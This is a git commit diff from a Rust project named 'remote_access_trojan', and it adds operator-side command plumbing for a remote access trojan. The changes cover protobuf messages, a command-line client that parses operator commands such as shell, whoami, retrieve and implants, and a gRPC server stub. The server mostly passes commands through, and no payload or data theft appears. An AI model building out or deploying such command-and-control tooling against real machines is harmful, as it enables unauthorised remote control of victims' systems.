i think this is as far as i can go without the state of a db

This commit is contained in:
koins
2022-03-08 13:49:03 -08:00
parent ea777bf499
commit 82134a7c6e
4 changed files with 129 additions and 25 deletions
+21 -11
View File
@@ -11,23 +11,24 @@ service RecordCommandResult {
}
service ScheduleCommand {
rpc Send (CommandRequest) returns (Empty);
rpc Send (OperatorRequest) returns (OperatorResponse);
}
// Enum variants have to be globally unique apparently, so prepending an "Op" in front of these ones
enum OperatorCommand {
OpCadence = 0;
OpDir = 1;
OpImplants = 2;
OpHelp = 3;
OpHostname = 4;
OpIp = 5;
OpLs = 6;
OpOs = 7;
OpQuit = 8;
OpRetrieve = 9;
OpShell = 10;
OpWhoami = 11;
OpHostname = 2;
OpIp = 3;
OpLs = 4;
OpOs = 5;
OpNone = 6;
OpQuit = 7;
OpShell = 8;
OpWhoami = 9;
OpImplants = 10;
OpHelp = 11;
OpRetrieve = 12;
}
enum RATCommand {
@@ -60,4 +61,13 @@ message CommandResponse {
string result = 5;
}
message OperatorRequest {
OperatorCommand command = 1;
string arguments = 2;
}
message OperatorResponse {
string data = 1;
}
message Empty {}
+60 -1
View File
@@ -1,4 +1,4 @@
use crate::rat::RatCommand;
use crate::rat::{OperatorCommand, RatCommand};
pub mod rat {
tonic::include_proto!("rat");
@@ -53,3 +53,62 @@ impl From<RatCommand> for RsRatCommand {
}
}
}
// Hacky copy of different protobuf in rat.rs
pub enum RsOperatorCommand {
OpCadence = 0,
OpDir = 1,
OpHostname = 2,
OpIp = 3,
OpLs = 4,
OpNone = 5,
OpOs = 6,
OpQuit = 7,
OpShell = 8,
OpWhoami = 9,
OpImplants = 10,
OpHelp = 11,
OpRetrieve = 12,
}
// Way to convert a string slice to the second hacky protobuf copy
impl Into<OperatorCommand > for RsOperatorCommand {
fn into(self) -> OperatorCommand {
match self {
RsOperatorCommand::OpCadence => OperatorCommand::OpCadence,
RsOperatorCommand::OpDir => OperatorCommand::OpDir,
RsOperatorCommand::OpHostname => OperatorCommand::OpHostname,
RsOperatorCommand::OpIp => OperatorCommand::OpIp,
RsOperatorCommand::OpLs => OperatorCommand::OpLs,
RsOperatorCommand::OpOs => OperatorCommand::OpOs,
RsOperatorCommand::OpQuit => OperatorCommand::OpQuit,
RsOperatorCommand::OpShell => OperatorCommand::OpShell,
RsOperatorCommand::OpWhoami => OperatorCommand::OpWhoami,
RsOperatorCommand::OpImplants => OperatorCommand::OpImplants,
RsOperatorCommand::OpHelp => OperatorCommand::OpHelp,
RsOperatorCommand::OpRetrieve => OperatorCommand::OpRetrieve,
RsOperatorCommand::OpNone => OperatorCommand::OpNone,
}
}
}
// Way to convert a second hacky protobuf copy to the actual protobuf
impl From<&str > for RsOperatorCommand {
fn from(in_slice: &str) -> Self {
match in_slice {
"cadence" => RsOperatorCommand::OpCadence,
"dir" => RsOperatorCommand::OpDir,
"hostname" => RsOperatorCommand::OpHostname,
"ip" => RsOperatorCommand::OpIp,
"ls" => RsOperatorCommand::OpLs,
"os" => RsOperatorCommand::OpOs,
"quit" => RsOperatorCommand::OpQuit,
"shell" => RsOperatorCommand::OpShell,
"whoami" => RsOperatorCommand::OpWhoami,
"implants" => RsOperatorCommand::OpImplants,
"help" => RsOperatorCommand::OpHelp,
"retrieve" => RsOperatorCommand::OpRetrieve,
_ => RsOperatorCommand::OpNone,
}
}
}
+36 -8
View File
@@ -1,4 +1,5 @@
use remote_access_trojan::rat::CommandRequest;
use remote_access_trojan::RsOperatorCommand;
use remote_access_trojan::rat::{OperatorCommand, OperatorRequest};
use remote_access_trojan::rat::schedule_command_client::ScheduleCommandClient;
use std::io::{stdin, stdout, Write};
use tonic::transport::Endpoint;
@@ -20,19 +21,46 @@ async fn main() -> Result<(), Box<dyn std::error::Error>> {
.connect()
.await?;
// Prepare a client for beaconing
let mut ask_client = ScheduleCommandClient::new(channel.clone());
let mut schedule_client = ScheduleCommandClient::new(channel.clone());
loop {
print!("Command > ");
stdout().flush().unwrap();
let mut line = String::new();
let input = stdin().read_line(&mut line).unwrap();
println!("You said {line}");
let result = tonic::Request::new(
CommandRequest {
command: input as i32,
arguments: "".to_string()
stdin().read_line(&mut line).unwrap();
let split_line: Vec<&str> = line.split(" ").collect();
let (command, arguments) = match split_line.len() {
0 => continue,
1 => (RsOperatorCommand::from(split_line[0].trim()).into(), "".to_string()),
_ => (RsOperatorCommand::from(split_line[0].trim()).into(), split_line[1].trim().to_string()),
};
match command {
OperatorCommand::OpNone => continue,
OperatorCommand::OpQuit => break,
OperatorCommand::OpHelp => {
println!("Valid commands:");
println!("\tcadence <number in seconds>");
println!("\tdir");
println!("\thostname");
println!("\thelp");
println!("\timplants");
println!("\tip");
println!("\tls");
println!("\tos");
println!("\tquit");
println!("\tretrieve <implant id>");
println!("\tshell");
println!("\twhoami");
continue
},
_ => ()
}
let request= tonic::Request::new(
OperatorRequest {
command: OperatorCommand::try_into(command).unwrap(),
arguments: arguments
},
);
let _response = schedule_client.send(request).await?.into_inner();
}
Ok(())
+12 -5
View File
@@ -1,4 +1,4 @@
use remote_access_trojan::rat::{OperatorCommand, RatCommand};
use remote_access_trojan::rat::{OperatorCommand, OperatorRequest, OperatorResponse, RatCommand};
use remote_access_trojan::rat::ask_for_instructions_server::{AskForInstructions, AskForInstructionsServer};
use remote_access_trojan::rat::record_command_result_server::{RecordCommandResult, RecordCommandResultServer};
use remote_access_trojan::rat::schedule_command_server::{ScheduleCommand, ScheduleCommandServer};
@@ -99,13 +99,15 @@ pub struct MyScheduleCommand {}
#[tonic::async_trait]
impl ScheduleCommand for MyScheduleCommand {
async fn send(&self, request: Request<CommandRequest>) -> Result<Response<Empty>, Status> {
async fn send(&self, request: Request<OperatorRequest>) -> Result<Response<OperatorResponse>, Status> {
// Get the request from the operator and figure out what to do with it
let command = OperatorCommand::from_i32(request.into_inner().command).unwrap();
let inner = request.into_inner();
let command = OperatorCommand::from_i32(inner.command).unwrap();
let arguments = inner.arguments;
// Run the applicable command
let _command_result = match command {
OperatorCommand::OpCadence => {
// Passthrough
println!("got a cadence {arguments}!")
},
OperatorCommand::OpDir => {
// Passthrough
@@ -140,10 +142,15 @@ impl ScheduleCommand for MyScheduleCommand {
OperatorCommand::OpWhoami => {
// Passthrough
}
_ => {
// I think this isn't possible?
}
};
// Respond to the implant basically say 'done'
Ok(Response::new(
Empty {}
OperatorResponse {
data: "yup".to_string()
}
))
}
}